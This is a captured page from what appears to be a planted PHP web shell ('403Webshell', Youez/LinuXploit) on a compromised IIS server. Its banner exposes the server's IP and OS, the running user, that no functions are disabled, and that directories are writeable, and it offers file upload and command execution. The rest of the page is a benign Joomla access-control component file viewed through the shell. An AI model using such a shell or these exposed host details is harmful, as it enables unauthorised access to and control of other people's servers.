403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/section/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/section//section.php
<?php
/**
 * No direct access
 */
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
 * Users Component Controller
 *
 * @package		Joomla
 * @subpackage	Adapters
 * @since 1.5
 */
class SectionController extends Adapters
{
	/**
	 * Save Adapter
	 */
	function save($groupName)
	{
        /**
         * Checking post of adapter menu
         */
            if( !empty($_POST['section']) ){
            $post = $_POST['section'];

                /**
                 * Saving site rules
                 */
                if( !empty($post['Site']) ){
                foreach($post['Site'] as $sectionid => $section){
                    $extraParams = array(
                        '$sectionid' => $sectionid
                    );

                        /**
                         * Saving rule
                         */
                        $resultRuleSite = $this->saveRule("section","site",$groupName,$section['tasks'],$extraParams);
                }
            }

            /**
             * Saving admin rules
             */
            if( !empty($post['Admin']) ){
                foreach($post['Admin'] as $sectionid => $section){
                    $extraParams = array(
                        '$sectionid' => $sectionid
                    );

                        /**
                         * Saving Rule
                         */
						 // MIKE Change site in Admin
                        $resultRuleAdmin = $this->saveRule("section","admin",$groupName,$section['tasks'],$extraParams);
                }
            }
            
            /**
             * Verify result of save
             */
			// MIKE change && in ||
            if( $resultRuleAdmin == TRUE || $resultRuleSite == TRUE ){
                return true;
            }

            return false;
        }
	}
	
	/**
	 * Delete Adapter
	 */
	function delete($groupName)
	{
            $this->deleteRules("com_section","access",$groupName);
            $this->deleteRules("com_section","section",$groupName);
	}
	
	/**
	 * Displays a view
	 */
	function display()
	{
		parent::display();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit